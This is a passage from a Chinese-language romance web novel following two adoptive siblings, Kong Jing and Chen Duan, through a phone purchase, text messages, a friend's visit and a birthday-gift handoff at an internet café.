“好耶!”戴望雅很高兴的样子,她拍拍手,拿出手机记录,“你住哪里?明天我让司机去接你。” 林语珂没想到还有这种待遇,感觉就算是鸿门宴也想去看看虚实了,“……云、云树别苑。” “好巧!我也暂时住那!”戴望雅从手机屏幕上抬起视线,冲林语珂眨下眼。 “暂时?”林语珂奇怪。 “对啊,老屋石厝离学校太远了,就算有司机接送还是会妨碍我睡懒觉,所以我就让我爸爸重新在云树别苑买了一套房子。那边小是小了点,小区也不算新,只能说是将就住吧。不过聚会很方便,不会有人打扰。”戴望雅一边打字一边说。 林语珂忍住骂人的冲动,“呵呵”两声。 “那么姐姐,”戴望雅再次用指尖叩了叩孔净的桌面,“说定了哦,明早我去接你,十点怎么样?太早我起不来。” 就这一会儿功夫,孔净都快睡着了,她用撑着额角的手按了按太阳穴,“不好意思,我明天有其他事情,去不了。提前祝你生日快乐。” “怎么这样……”戴望雅不说话了,眨巴着眼睛望向孔净,十分惹人怜。 孔净心想,她要是男生,一定无法招架戴望雅。 “真的不好意思。”孔净说。 戴望雅两手握拳假装揉眼睛,“好难过,还以为十八岁生日可以和所有在意的人一起过。呜呜……” 孔净:“……” 戴望雅吸了吸鼻子,又笑着说:“不过还好,陈端会陪我!” 她扬了扬手机,屏幕上的对话框一晃而过,页面最顶上“陈端”两个字非常明显。 “姐姐就算不来也要给我准备小礼物哦,我也会让陈端给姐姐带蛋糕的!” 戴望雅手机响了,韩语歌曲作为铃声很好听,但是在午休时间的教室实在扰人,听到远近有人发出抱怨声,她吐吐舌,抓着手机起身。 离开之前嘱咐孔净,“姐姐不要忘记哦!” 她一系列行为,骄纵、肆意,一看就是从小被宠到大的。 林语珂表情僵硬,“真是……同人不同命。” 她后悔答应参加戴望雅的生日会,“这么说我也要带礼物去?太匆忙了吧,只有一个晚上的时间可以准备。” “是哦。”孔净随口应道。 “不然等会放学我们一起去中心商场看看?”林语珂提议。 孔净摇头,“不了,我放学要早点回家。” 林语珂惊讶,“戴望雅都那样直白了,你不会不给她准备吧?就算是一个本子什么的也可以啊。” “不知道啊。” 孔净无意识又祭出这经典的四个字。 她长这么大还是第一次被人追着要礼物。 下午放学,林语珂赶着坐公交去商场,一打铃就苦大仇深地往校门外跑。 孔净一边收拾书包一边往窗外看,走廊上闪过一个个蓝白身影,像乏味的背景板。 “不知道一天到晚忙什么……” 孔净小声吐槽一句,站起身试着掂一下书包,“好重——” 话音未落,一只冷白皮宽阔手掌从斜后方伸过来,勾住书包提手直接拎走。 “很轻。”随之传来的还有那道熟悉的清淡嗓音。 孔净一怔,转头。 站在走道上的少年没有穿校服,深灰T恤加淡蓝牛仔裤,脚上的白板鞋有些旧了但是刷得很干净,他单手拎着孔净的书包,毫不费力的样子,垂眼看过来的视线带着几分笑意。 笑孔净细胳膊细腿连个书包都嫌重。 孔净白他,“装那么多东西真的很重,好几十斤。” “好几百斤。” 孔净伸腿要踢他,结果被林语珂的空椅子绊到,“啊。” 陈端另一手立刻把椅子挪开。 其实就是碰了一下而已,根本不痛,但是孔净仰头瞪他,“祸水东引。” 陈端:? 孔净有点烦,本来就是。 “背你。”陈端转过身,微微弯下腰,空着的那只净白手掌撑在膝盖上。 教室里人没走完,虽然看似在各做各的,但实际都在悄悄往这边看。 无论什么时候,陈端总是能轻易吸走周围人的注意力。 “谁要你背?走啦!” 孔净在后面推了他一下,两人前后走出教室。 “你这周没上几节课。”孔净两手空空,落日余晖,她故意去踩地上陈端的影子。 陈端:“在忙。” “神经!”孔净踩着陈端的“脖子”用力碾一下,但陈端往前,影子也往前,她往前跳两步,又踩中他的“腰”。 陈端笑说,“真的在忙。” “下周不许这样了。” 孔净没问他忙什么,有些事情如果陈端不想说,问了也白问,她只要简单下指令就好。 “嗯。” 陈端果然乖觉应道。 孔净满意点头,又叹气。 陈端转头看她,孔净说:“先买点东西再回去。” “买什么?” 已经走到了停车棚,孔净的书包太重,怕把车前兜压坏,他还是像以前那样把包反挂在身前。 孔净的车停在中间,被他握着龙头一下拎出来。 “你的车呢?”孔净问。 “没骑。”陈端已经跨坐在车上,白色板鞋踩在脚踏上同时控制着龙头,车子在原地保持平衡。 “那你怎么回来的?”孔净奇怪。 “走回来。” “谁信你。” 校道上人多,不方便骑车,孔净用走的还快些,陈端不嫌麻烦,仍是双脚离地控制着平衡,车子一直慢行在孔净身侧。 出了校门,陈端问她:“去哪里买东西?” “不知道啊,哪里能买到送人的礼物就去哪里。”孔净坐上后座,扯着陈端侧腰上的衣服面料,因为距离一下拉近,她又嗅到那股带着他清冽印迹的皂香味。 “礼物?”陈端踩动脚踏,“正好,我也要给人买礼物。” 车子一下加速,孔净因为惯性上半身往后仰了一下,她另一只手也环上陈端的腰。 薄薄的面料下,少年的身体结实,散发着令人心安的温度。 “你给谁买?”温热的晚风在耳边呼啦啦地吹,孔净的声音有点模糊。 也不知道陈端听没听见,总之他没搭腔。 孔净抿了下唇,没再问。 二十来分钟,车子骑到中心商场。 临水镇倒是有好几个商业中心,但只有眼前这个最大也最新,无论要买什么这里都一应俱全。 自行车就停放在外面的露天非机动车库,孔净进去的时候看了眼商场的业态分布图,三楼有个叫“咔咔屋”的礼品集成店,旁边也有书店和饰品店之类的。 “去三……” “先去一楼。” 陈端说。 “这里就是一楼。”孔净踢他脚后跟。 “知道。”陈端左右看了眼,找到目标之后径自走在前面。 “……” 商场里使用的香氛有点浓,孔净走得慢,百无聊赖地转头看着左右的商铺。 这层主要卖3C产品,也有汽车展厅,每个商铺的玻璃橱窗都很大很洁净,经过时可以清楚看见里面陈列的商品,也能从橱窗上看到自己的影子。 某个瞬间,转头看向前面,才发现陈端站在前面不远处一间商铺门口,正停下来等她。 孔净瞥见他头上的商铺招牌,缺一块的苹果logo简约又显眼,她怔了一下,然后快步走过去。 陈端垂眼看她,“你在不高兴吗?” “哪有。”孔净奇怪陈端为什么这么问,视线往商铺里面瞥去,“礼物……?手机还是电脑?” 在一起长大快十年,熟悉彼此每一个微表情和情绪波动,尽管孔净否认,但陈端确实知道她情绪不佳。 只不过暂时没找到缘由。 他认真看着孔净,“你想要电脑?也可以。” “什么我要???” 信息投放不在一个频道,孔净愣住。 “您好,请问有什么可以帮您吗?” 穿工作服的导购过来。 “最新款的手机,”陈端微微停顿一下,“还有电脑都帮忙介绍一下。” 他转头跟孔净说:“新出的款式就那几种,主要挑你喜欢的颜色。” 孔净站在原地消化了三秒,“……等等!给我买??” “不然呢?”陈端忽然察觉出一点端倪,他盯紧孔净,“以为买给别人,所以不高兴?” 第34章 人类最擅长做的事情 “什么别人。”孔净转过视线, 没再看陈端。 导购把他们领到展示台前,一边介绍这个月初才新出的款式,一边拿起样机做功能演示。 孔净看得眼花缭乱,终于反应过来不对劲的地方。 “那个, 麻烦稍等一下。”她跟导购说完, 拽着陈端的衣角把他拉到角落, 小声跟他说,“干嘛给我买手机?我又不需要。” 孔净是个物欲极低的人没错,但手机这东西怎么可能不需要, 并且清安高中并没有强制大家不能带手机到学校,班上百分之八十的人都有, 只有包括孔净在内的百分之二十没有。不方便联系是一方面,有时候大家开玩笑还会拿这事打趣孔净, 说她是山顶洞人。 孔净不在乎是她的事, 可陈端觉得刺耳。 年初孔净生日的时候陈端就准备送她了, 但那时陈端手头不够宽裕,便想到等秋天出了新款再补送也不迟。 不过陈端不跟她讲这些,他只说:“可以上网课,有助于学习。” “……”孔净竟然一时找不到反驳的话, 她顿了顿, “那买个便宜点的。” 展台上有价格标签, 那个数字对孔净来说离谱到家,起码要给苏苏满满补上两个多月的课才够。 陈端:“这就很便宜。” 孔净:你看我像很好骗的样子吗? 陈端“啧”一声,单手撑在旁边展台边缘,耐心说服她:“你认为的便宜的,短期来看确实便宜,但是用不了多久就坏, 坏了还要买。如果一次性投资到位,按照每年的话费额来算,其实这样更划算。” 孔净皱眉,虽然听起来有道理,但…… “你刚才试了玫瑰金,就买那个?”陈端不等孔净回答,直接抬手跟导购要了256G内存的玫瑰金款。 孔净在后面用力扯着他T恤衣角,陈端被卡脖子,回头,“哦,电脑也要?” 孔净无语,“……我不要!你要!” 陈端抬手把领口扯开些,“你不要我也不要。” 孔净:“跟屁虫吗你是?” 陈端:“对,我跟着你,我是虫,你是什么?” “……我看你真是皮痒!” 孔净扯着他衣角的手没放,另一手去戳他腰窝,陈端腰上这处地方敏感,被戳得猛地往前一步,但是一往前脖子又被卡得更严重。 他咳嗽两声,转头放一记眼刀。 孔净:“!” 哇!都敢威胁我了! 孔净不仅戳他腰窝,还捅他耳后,这处地方更敏感。 陈端平时焊牢在脸上的冷清面具,在孔净的魔爪下瞬间瓦解。 他直接笑出声,左躲右闪,又怕挣脱的力道太过不小心伤到孔净,只能站在原地小范围内聊胜于无地做反抗。 导购姐姐站在一边几乎露出姨母笑,笃定他们就是一对感情很好的校园情侣。 “真是莫名其妙,我为什么要把钱花在这种地方……” 林语珂在楼上的书店斥巨资买了一本牛皮笔记本,因为是送礼所以又额外选了礼品纸让店员帮忙包装好。 她怨念极深,痛骂自己为什么不直接拒绝,又不熟,而且戴望雅又那么难伺候,说不定根本看不上她买的东西,早知道就应该像孔净一样—— 一抬眼,视线穿过商场宽阔又明亮的走道,透过斜对面的玻璃橱窗,看见里面正在打闹的两个身影,以及旁边那个正看着他们露出微笑的工作人员。 扶梯下降到底,林语珂没反应过来,踉跄一下。 她站定之后,眯起眼睛看仔细些,确定就是孔净和陈端。 专卖店里,他们两人在导购的指引下走到收银台前,陈端抽出一张银行卡刷卡支付,导购双手捧着一只印有品牌logo的小号购物袋递给孔净。 “真有意思,中午还说放学后要早点回家……现在又跑来……” 林语珂低头看了眼自己手上包装精美的笔记本,愣了愣。 再抬眼,发现孔净和陈端将要走出专卖店,她咬着唇转身离开。 孔净还是拉着陈端去三楼的礼品集成店买了一个八音盒,没什么创意,但也想不出更好的了。 在等服务员姐姐帮忙包装的时候,陈端才想起问一句,“送谁,你同桌?” 孔净看他,“……戴望雅生日,你不知道?” “她生日我为什么要知道。” 陈端语气凉薄,又蹙了下眉。 孔净莫名,“她不是给你发信息了?” “有吗。” “有啊,今天中午。” 陈端没有拿起手机看一眼的意思,倒是从孔净的话语中找到华点:“她经常去找你?” “差不多。”孔净说,“比起以前那些追你的女生,她算是耐力更强的那类。” 陈端没说话,表情有些厌烦。 孔净耸肩,“所以你打算送她什么?” 陈端没答,侧头视线对向孔净。 孔净奇怪,“看我干什么?你们不是很熟?” “不熟。” 以前也说过了。 但孔净好像不信。 “反正熟不熟是你们的事,跟我没关系,你想和谁交朋友是你的权利。” 这样说似乎有些冷情,但却是事实。 她可以不厌其烦地监督陈端好好学习,别跟李哲那类人来往,但是却没理由让他和喜欢他的女生保持距离。 孔净转过脸,服务员姐姐已经把八音盒包好了,她说了声谢谢。 “走吧。” 她提起两个购物袋走在前面。 陈端蹙眉盯着她纤薄背影,胸口忽然被压上了一块石头。 跟她没关系? 也对。 她一直以来都是这种态度。 身后那人的气压陡然间变得有些低,孔净不是没察觉。 可是奇怪,她又没说错。 他们再亲密也只是姐弟而已,随着时间的流逝,就像树干上生发的枝丫,底端永远以亲情的名义紧密联系,但注定是要朝着各自的方向越长越开。 未来,他们都会拥有各自喜欢的人,来分走投注在彼此身上的精力。 想到这里,孔净感到十分怅然。 学会和原本最亲近的人分开,好像也是成长的代价之一。 但……未免也太痛。 光是想想都觉得揪心。 孔净很迷惘,陷入矛盾。 她坐在后座上,忽然往前靠,拎着两个购物袋的手绕过前边那人的腰,两只手腕交错在一起,侧脸贴着他的后背,抱住他。 腰部被她紧紧箍住,后背隔着衣服面料也能感受到她肌肤的温度,承受着她一部分身体的重量。 陈端本来冷着脸,骤然一愣,垂眼看见孔净紧紧搅合在一起的手腕,那样用力,让人误以为她很需要他,很怕失去他。 “你怎么了?” 陈端的声音有点哑,但又很轻柔,像是怕把身后的人惊醒,然后撤掉这个拥抱。 “……没什么。” 孔净深吸一口气,鼻腔乃至胸腔里全都填满他身上的清冽皂香,心里的空落短暂被补上,才感觉好了点。 “孔净。” 背上那处皮肤被她呼吸灼伤,这显得其他部位很冷,陈端握紧车把手,无形中声音更哑了。 “嗯?” 孔净轻声应他。 陈端绯薄的双唇抿成一道锋利的直线,纠结的情绪在身体里没有方向地冲撞,想要挣脱,想要一个出口,哪怕会被称作无耻,也想要窥见一秒的天光。 “孔净……” 他又喊了她一声,因为过于用力,冷白色的手背上几条青筋凸起。 这声音像是从无法丈量的黑暗深处传来的,依旧好听,却无端让人心惊。 “怎么了?” 孔净问。 “我……”陈端垂眼,忽然看见她拎着购物袋的手,手指收紧在一起,指甲修剪得很平,却还是嵌进了掌心肉里。 他顿了顿,说:“我晚上还要再出去一趟。” 话音落地,果然,他看见她卡进掌心的指尖往外松了几分,腰上被环住的力道也没那么重了。 所以,是松一口气的意思吗? 蓦地,陈端在她看不见的角度扯了下唇,指节收紧,像是要把车把手拧断。 “去哪儿?”孔净往后靠一些,两只手仍旧搭在陈端的腰上,但是不像刚才贴得那么紧了。 “外面。” 暮色的风送来陈端的声音,听起来有点冷,是因为天气逐渐转凉的缘故吗? 孔净“哦”了一声,风从领口灌进去,推使着她再从他身上汲取一点温度,但孔净迟迟没有再往前,后来也就作罢了。 陈端把孔净送回石材厂就走了。 孔净慢慢踩着台阶爬上二楼,站在开放式走廊上视线穿过石材厂铁门,看见少年的身影在微蓝的夜色中逐渐远去。 听见身后响起脚步声,孔净回神,转身推开房间门先把东西放下。 晚饭时分只有孔净和李贤梅围在矮桌边,两人没说几句话,各自捧着碗筷。 旁边的电视机兀自播放着又一部家庭伦理肥皂剧。 孔净洗了澡之后没像往常一样继续坐在书桌前看书,她趴在床上摆弄手机,同学说的没错她在电子产品和网络方面的确像个山顶洞人,从不玩游戏也就算了,微信这类社交软件居然还是头次接触。 刚才在商场一并连手机卡也买了,她把卡安上之后进入应用商店,正在思考要下哪些软件,手机忽然响起来,屏幕上方弹出一条新消息提醒。 孔净点进去。 【在干嘛。】 孔净还没来得及弄通讯录,但随意瞥一眼发信人的号码,她就知道对方是谁。 太熟悉了。 【躺着。你呢?】 她摆弄了一下虚拟键盘,在26键和9键之间选择了后者,如此,按下发送键已经是两分钟之后的事了。 【等你回消息。】 那边几乎秒回。 是在嘲笑她打字速度慢。 孔净又摸索了一会儿,找到表情符号,选择想要的,发送。 “啊——” 发完了才发现选错了,她想发的是“长颈鹿‘&¥!#%’”这个表情,来回击某人话实在太多,然而一不小心选成了“长颈鹿外加三个红色桃心”。 孔净想撤回,显然不可能。 她盯着屏幕,原本秒回的人也没了动静。 网吧后巷没有路灯,只有居民楼的窗户透出一点亮来。 陈端后腰靠着墙壁,低头静静等着看孔净会回什么,手机一震,垂眼,屏幕上多了一个长颈鹿表情,三颗红色桃心很显眼,占据视线焦点。 他微微扬眉,明知很大可能是孔净发错,但奇异的,就是觉得这个表情很顺眼。 几秒后,手机又震了一下。 【发错了。】 孔净补上一句。 陈端快速敲击虚拟键盘,【知道。】 但,又怎么样呢? 人类最擅长做的事情,不就是自欺欺人。 他仰头,后脑抵着冰冷的旧墙壁,才发现被楼房遮蔽的逶迤天空今夜有星光点点。 “诶——吓我一跳!” Lily在前台看恐怖电影看久了眼睛疼,从后门出来透口气,猛然瞥见门边一条修长人影无声无息,魂都差点没了半条。 待看清是陈端,正要扭起腰和他聊上几句,忽然晃眼看见他手机屏幕。 Lily哼哼两声,“又是哪个女生大半夜不睡找你撩骚?” 陈端没搭腔,食指在手机侧边按一下,屏幕随即熄灭。 Lily早就习惯陈端对自己不理不睬的态度,从兜里摸出烟盒和打火机,正要点燃,突然听见少年低磁嗓音,“是我找她聊。” “……什么东西??” 女士烟含在唇间差点掉下来,Lily一脸愕然地转过去想问个清楚,上了年纪的铁门吱吖一声,少年清冷身形消失在门板后。 Lily才反应过来,陈端是在维护对面那个人。 就算Lily连对方是谁都不知道,陈端也不想听见她说她不好。 “我靠!谁啊?!” Lily狠吸两口烟,心想等哪天遇到孔净一定要找她探听明白,陈端几乎天天来网吧,到底是谁,在她眼皮子底下就把人撬走了?!! 陈端没再回机位,径直往前门方向走去,穿过网吧大厅时,有人喊了他一声,“端哥,不玩了?” 说话的人是一个黄毛,他身上衣服颜色很深皱皱巴巴的,整个人缩在电竞椅上,隔着老远的距离似乎都能闻见一股味儿。 “下周三去哲哥家别忘了。”黄毛咧嘴笑了下。 陈端转头看了他一眼,没说话,直接走了。 “妈的,这么能装。” 黄毛悻悻然,见他出了网吧前门,然后才敢用只有自己能听见的音量低声骂一句。 第35章 会有一点点不习惯 陈端回来得很晚, 孔净已经睡着了。 意识在深不见底的黑暗温床上沉浮,隐约听见门板开合的声音,孔净睁开一条眼缝,恍然看见一道修长暗影朝这边靠近。 意识拉响警报, 她努力清醒过来, 而后就嗅到那股清冷皂香。 是熟悉的安全的味道。 于是睁开的眼缝又安然合上, 孔净翻了个身,迷糊说一句,“怎么这么晚……” 就又睡着了。 最后的记忆是凉被好像滑走了。 早晨醒来, 低头一看,还好好盖在身上, 并且还被胳膊掖着,上边缘与胸口齐平。 阳光从旁边窗户照进来, 视线穿过碎花挡帘, 另一床上隆起的人影若隐若现。 孔净用力眨了下眼, 没看错啊,真的还在。 她轻手轻脚掀开被子起来,拿着牙缸和脸盆出去时,转头一扫, 陈端平躺在床上, 单手搭在眉骨上挡光, 下半张脸完全暴露在视线中,肤色冷白,鼻梁很挺,唇线饱满。 孔净怕吵醒陈端,洗完脸、把早饭做好了才轻轻推开门。 “醒了?” 孔净悄摸露出半张脸朝屋内张望,却正正对上一双沉淡黑眸。 陈端有赖床的习惯, 时间很短,最多三分钟。 枕头竖放,他半倚在床头,被子倦懒搭在腰腹上,两条长腿随意敞开平放着。 脸上一点表情也没有,因此显得有些冷峻、迫人。 四目相对,孔净先开口,“还是睡着的时候看起来更乖。” 陈端清了下嗓子,再抬手搓了下脸,然后问:“这样呢?” 孔净说:“比刚才更糟,因为你头发好乱,现在看起来好呆。” 陈端啧一声。 孔净笑了。 吃完早饭之后,孔净要出门,反而是陈端又懒懒躺回床上,长指有一下没一下地点着手机屏。 孔净把挂在墙上的帆布包取下来,站在桌边把要带的东西装进去,顺便转头跟陈端说:“你帮我把这个带过去。” 陈端慢半拍移来视线。 孔净下巴朝桌上的八音盒指了指。 陈端:“……孔净我发现你——” “什么?”孔净皱起鼻子,看起来很凶。 “行。” 陈端继续看手机。 孔净把帆布包挂在肩上,“我走啰。” 没人理。 “我说我走了。”孔净经过,身体往单人床方向歪一下,小腿撞在他因为太高而悬空伸出来的白净脚掌上。 陈端撩起冷白眼皮看她一下。 孔净两只眼睛弯成月牙,心情很好。 陈端要不是知道她是因为去车站接人而心情好,大概会一下坐起来伸手去扯她的脸。 孔净和戴望雅说没时间倒不是找借口,是真的有事。 当然,就算没事,也不见得会去参加她的生日会。 毕竟不熟。 也不想变熟。 天气一天比一天凉,早晨的风像是加了过量的薄荷香精,吸进一口,整条呼吸带都微微打冷颤。 还好孔净有准备,在T恤外面加了件格子全棉开衫,加快速度骑了会儿,身上逐渐热起来,感觉刚刚好。 她把车骑到镇上的汽车客运站,刚想找地方停车,就听见有人呼啦啦地大喊她的名字。 “孔净~孔净~孔净净净!!” 阿禾上半身宽松长袖针织衫下半身短裤,不知道是过夏天还是过秋天,因为都是彩色系,两只手腕上还叠戴着很多个手串,跑起来叮叮铃铃响,配上一头栗色齐肩发和超无敌灿烂笑容,从远处看就像一个真人尺寸鬼马少女手办。 “小心……” 孔净被她冲过来抱个满怀,重心不稳,差点连车带人往旁边一倒。 阿禾赶紧把人抓牢,左看右看上看下看,“真的是水遭谋(漂亮女孩)了哦!!” “你更水(漂亮)!” 两个好朋友抱在一起,原地跳两跳,从旁边经过的路人也莫名被感染,不由得脸上露笑。 阿禾本来计划暑假要来找孔净,但是前边一个月去泉州找表姐,后边因为阿嬷生病一直在家陪她,所以没抽出空来。 等到开学、孔净一放假,她就快马加鞭地赶来了! “阿嬷现在怎么样?”孔净问。 阿禾坐在自行车后座,声音听起来有点低落,“已经出院啦!但是老人家就是这样,总是这里不舒服那里难受,看起来好可怜。” “你这周不回家看阿嬷没事吗?”孔净跟着担心。 “我有回去,前天晚上到家,今天一早坐车过来。而且我小姑也回去了,她会一直陪着阿嬷。”阿禾说完,紧紧搂住孔净的腰,把脸埋在她后背狠吸两口,“啊!我好想你啊!孔净!” 孔净立马想到阿禾现在的样子肯定像个变态,可是她好感动,因为她也是同样的心情。 “我也好想你呀!” 阿禾背了大号登山包,里面装的全是带给孔净一家的礼物。 有肉松、五香卷、炸芋头、草仔粿……全是闽城特色美食,而且是阿禾小姑亲手做的。 阿禾把东西一样一样慢慢掏出来,献宝似的摆在李贤梅面前,一口一个“梅姨这是给你的!”,搞得李贤梅都开朗不少。 “小正太咧?”阿禾抱着包小声问孔净。 孔净领她去旁边房间,“现在应该不在。” 推开门,房间里果然空无一人,进门那张单人床上黑白格子三件套叠得整整齐齐,没有一点褶皱。 窗户是开着的,微风吹拂,挡帘轻轻摆动。 “他去哪里了?”阿禾开心蹦进来。 “不知道。” 孔净也不确定陈端会不会去给戴望雅过生日。 抬眼扫向书桌,那个八音盒不见了。 也是。 按照戴望雅那么难缠的性格,陈端不去都不行。 所以,还是去了。 “怎么啦?你们又吵架了?”阿禾坐在孔净的床上,习惯性动来动去。 “哪有。”孔净笑眯眯的。 可是阿禾哪里是那么好糊弄的,“看起来有点像哦。” “真的没有啦!又不是小孩子了,有什么好吵的。”孔净坐在陈端床上和阿禾面对面,你碰一下我脚尖,我碰一下你脚尖。 阿禾狡黠一笑,煞有介事地往紧闭的房门方向看一眼,然后身体前倾,对孔净说:“我给你带了独家小礼物哦,只给你,梅姨、孔叔和小正太都没有!” 孔净一下被她逗得心花怒放,不管是什么小礼物,来自好朋友的偏爱就足以让她全身开满太阳花。 “当、当、当当~~!” 阿禾一只手臂整个伸进包里,配合着音效,从最底下慢慢慢慢掏出一只奶黄色防尘袋,“猜猜是什么?” “鞋子!” 孔净一把捧走袋子。 “吼!这都被你猜到!”阿禾假装不满。 “因为你每年都会送我一双鞋啊!” 防尘袋摸起来细软丝滑,打开一看,里面装着一双同色芭蕾鞋。 不是正儿八经的芭蕾鞋,而是仿芭蕾鞋款式的平底鞋,摸起来像丝绸一样,鞋面上两条交叉绑带衬得孔净的脚背秀气又漂亮。 “你穿上好好看!”阿禾一边拍手一边吹彩虹屁,夸赞孔净的同时也得意自己的好眼光。 “谢谢阿禾!”孔净两手撑在身后的床板上,把腿伸直了左看右看,越看越喜欢。 她也给阿禾准备了小礼物,是一对blingbling的樱桃造型的耳钉。 阿禾上职高之后逐渐增加耳洞的数量,平时一般左边戴三个,右边戴两个,看起来非常有个性。但是因为周末回家的缘故,怕被阿嬷看见了碎碎念,所以现在两边耳朵都是空的。 孔净脱掉鞋子爬到床上,跪坐在阿禾身后,小心帮她把耳钉戴上。 “好痒!你可以不用这么轻啦!”阿禾缩着脖子,一边躲一边笑。 孔净是真的怕把她弄痛,那么多的耳洞有两个还是打在耳骨上,光是看着就感觉自己也跟着挨了几枪。 好容易帮阿禾把耳钉戴好,孔净视线不经意下移,从阿禾的领口瞥进去。 “你那里——” 孔净下意识伸手指了下,阿禾像是被触动了开关,立刻抬手去捂。 “哎呀!” 孔净又不是三岁小孩,看见阿禾一瞬间从大大咧咧变成娇羞模样,她脑袋转了几个弯,一下就懂了。 但是懂归懂,免不了惊愕。 “你跟小章鱼啊不,章学长……??!” 小章鱼姓章,是阿禾在职高的学长,虽然他比阿禾大一届,但是因为长着一张娃娃脸,所以阿禾给他取了这个可爱外号。 暑假刚开始的时候孔净听阿禾讲她和小章鱼还只是处于暧昧期,没想到才过去短短两个月,居然火速发展到这种程度。 “夭寿啦!你不要这样看我!” 阿禾一手抓紧领口把草莓印藏好,另一手捂脸,从床上起来又坐下,反复几次之后,她深呼吸两下,转头,红着脸跟孔净说:“没错,就是你想的那样!” 孔净睁大眼睛,虽然自己并不是当事人,不知道为什么也觉得有点脸热。 “哎呀,谈恋爱不就是为了光明正大进行到这一步!” 阿禾说完之后附在孔净耳侧叽叽咕咕。 孔净听得脸红心跳。 小小一张床,两个少女挤趴在一起,脑袋挨着脑袋。 流云被阳光烘热,轻轻柔柔地从窗外飘过。 末了,两人都把下巴垫在胳膊上,脸对着脸。 “你很喜欢他吗?”孔净轻声问。 “喜欢呀,不喜欢怎么会和他做这种事。”阿禾脸上的红晕未消,但已经能正视孔净的眼睛了。 孔净浅浅一笑,“十八岁之后谈一场轰轰烈烈的恋爱,你已经实现了。” “不算轰轰烈烈,但是我觉得很开心,就是……”阿禾顿了顿,笑容止不住的灿烂,“一想到他,这个位置都是满满的。” 她一只手掌贴向胸腔。 孔净不是很明白,“喜欢一个人是这种感觉吗?” “是啊,想到他会很开心,见到他也很开心,但是又会因为一点很小的事情生气,有时候超级奇怪,根本没有任何事情发生,但就是会突然难过。”阿禾形容就像有人往心脏的位置掏了个洞,然后放了一颗酸柠檬和一颗甜芭乐进去,又酸又甜又空又满。 孔净轻轻抿了下唇,试着体会阿禾说的这种感觉。 “孔净,你有喜欢的人吗?”阿禾额头碰了一下孔净的肩膀。 孔净摇了摇头,“没有吧。” “干嘛在后面加个‘吧’字,有就是有,没有就是没有啊。”阿禾很狡黠,很想挖出一点什么也拉孔净下水。 孔净一下识破,“没有哦。” “吼!”阿禾问,“那小正太咧?” “不知道诶。这个你要问他。” “才不要!他都不跟我讲话。”阿禾翻个面仰躺在床上,快乐地摇晃着脚。 静谧中忽然响起铃声,阿禾一下爬起来手忙脚乱地去找手机,摸到之后发现屏幕是黑的。 然后循着声源疑惑地看向孔净。 孔净才反应过来,把手伸向衣服口袋。 阿禾看清之后一下扑过来,“吼!孔净!你什么时候买了手机?还是最新款!!!” 孔净差点没拿稳,“昨天才买的。” 解锁屏幕,点进刚收到的那条信息,是一张照片。 阿禾把头凑过来,照片里一个穿粉色系裙装的女孩子捧着一个礼物盒对着镜头歪头一笑,女孩留着公主切的发型,头上一枚蝴蝶造型的发卡闪闪发亮。 女孩给人的感觉就是富家小姐,但是这张照片的背景却很奇怪,后面的玻璃窗模模糊糊,落了很厚一层灰的样子,窗户外面的街道很窄,楼房也很旧,还有几个看不清面容的黄毛粉毛弓着腰在街边抽烟。 总之,很割裂。 “系谁啊?”阿禾问。 孔净一眼认出,这是戴望雅站在网吧前台旁拍的,她手里拿的礼物盒是孔净昨天买的八音盒。 【照片拍的很好。】 孔净指尖敲击虚拟键盘,发了这行字过去。 那边隔了几分钟才回:【我也觉得。】 孔净指腹摩挲着手机边缘,退出这个页面,对话终止。 阿禾看孔净的表情,“你在跟谁聊?” 或许是因为号码太熟悉了,孔净没有给他添加备注名,刚才对话框顶端就只显示了一串没有规律的十一位数字。 “陈端。”孔净把手机放在一边,坐起身。 “嗯?小正太?刚才那张照片也是他拍的?好少见!” 阿禾没想到陈端居然还会给除孔净以外的女生拍照片。 “以后这种事情应该会更多吧。关系再好的姐弟也不可能整天只围着对方转。”孔净头发有些乱了,她扯掉皮筋重新扎了个马尾。 “说的是没错啦。”阿禾也坐起来,“你会不会不高兴?” 孔净动作停了下,她老实说:“会有一点点不习惯。” “只是一点点吗?” “是呀。”孔净对阿禾笑了下。 第36章 只有服从 照片是Lily拍的, 并且她是故意的。 上午,她打着哈欠从楼上下来,刚和昨晚值夜班的妹妹交了班,陈端就来了。 他把一个礼物盒放在前台柜上, 说待会有人来取。 “男的女的?长什么样?”Lily还记着昨天晚上的事儿, 她窝在椅子上拿一个小镜对着描眉。 镜子照见放在柜面上的礼物盒, 颜色那么粉亮,一看就是给女孩的东西。 她态度瞬间变得敷衍。 “女的,人样。”陈端打开旁边的冰柜从里面拿了瓶饮料。 Lily哼道:“女朋友呗?” 这个问题很蠢, 陈端没理,道了声谢指尖拎着饮料瓶就走了。 Lily却觉得十有八九就是。 上午网吧清闲, 她几次三番把头探出柜台,却迟迟没看见来拿东西的可疑人。 就在她看剧看得要把这事儿给忘了的时候, 有人敲响了柜面。 “阿姨, 陈端在吗?”??? Lily以为自己幻听, 转过脸,视线越过柜面边缘就看见一个戴着蝴蝶造型的女生。 女生长得挺好看,脸上带着笑,但是微微皱着鼻子, 像是多吸进一口网吧的空气就会中毒似的。 Lily见多了各种三教九流, 最烦装腔作势的人。 她仰起下巴, “你叫谁阿姨?” 戴望雅捂嘴一笑,“不好意思,刚才没看见脸,只看见你穿的衣服和身影了。” 就是说她穿得老气,体态也老呗? Lily在心里呵呵两声,有条不紊地从椅子上起身, 胳膊杵在柜面上,视线从上往下扫过戴望雅。 她问:“你找陈端?你是他什么人?” 戴望雅说:“我是他——” “阿姆(妈妈)?”Lily噢噢两声,“看年龄和长相确实挺像。” 戴望雅闭上嘴巴,本来因为想请陈端去参加生日会结果却收到信息让她来这个犄角旮旯拿东西而不满,现在又遇上这个打扮廉价的野蛮女人。 Lily拍拍手,“上网就拿身份证来登记,不上网就出去,这儿是网吧,不是专门帮你找人的派出所。” 戴望雅忍着气说,“我找陈端,他在哪?” “不知道,没听见,没见过这个人。”Lily吃软不吃硬。 端着吃剩了的米线碗走出柜台,赶苍蝇一样挥挥手,“麻烦让一下。” 碗里结了一层油膜的鲜红汤汁荡来荡去,戴望雅怕弄脏自己的衣服,极不情愿地往旁边让了两步。 Lily把碗端去旁边的米线铺,还专门在外面站着慢悠悠抽了一支烟,心想陈端什么眼神,怎么最后搞个这种货色。 掀开泛黄的空调帘进来,没想到戴望雅还在。 Lily懒得和这种没有礼貌的傲娇小女孩置气,踩着细跟鞋哒哒哒地走进柜台,把礼物盒从下面置物架拿上来,“喏,拿了就走吧。” 这会儿功夫戴望雅已经给陈端打了个十来个电话、发了好多条短信,但是都石沉大海。 她快要爆炸。 按照她的性格,应该是一走了之。 